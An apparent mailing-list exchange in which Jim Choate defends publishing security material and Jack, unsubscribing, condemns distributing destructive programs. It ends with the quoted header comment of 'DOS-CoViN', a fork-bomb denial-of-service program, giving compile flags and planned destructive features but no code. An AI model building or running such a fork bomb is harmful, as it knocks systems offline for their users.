Hi Jack, I have removed your subscription to the Experimental Science Instrumentation mailing list. I would however like to point out that security through obscurity (ie ignorance) is not security. It is self-delusion. One can not protect them selves reliably from the many consequences of technology and society via ignorance. That which you don't know not only can hurt you but can kill you. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx.

Jim Choate, There is nothing ethical about fabricating destructive programs and distributing them to the irresponsible, while hiding like a coward. Please unsubscribe me.

/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the bugtraq
This program is a beefed up classic denial of service fork()'er :)
Compilation: on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
on my linux, I can compile it with both -DBSD_C and -DSYSV_C
if your not sure, you can experiment, or compile it without any -D'efines
In the future: SunOS signals ignored. Creation of random symlinks for more gory destruction. Using advanced technology coding to make the hard drive blow up with a loud boom and the console explode causing a nuclear meltdown.
Direct All Suggestions And Flames to: Vio
NOTE: this program is provided for educational purposes only, its author will not take any responsibility for any stupid things you will decide to do.
this has been tested, but not the latest version of it.
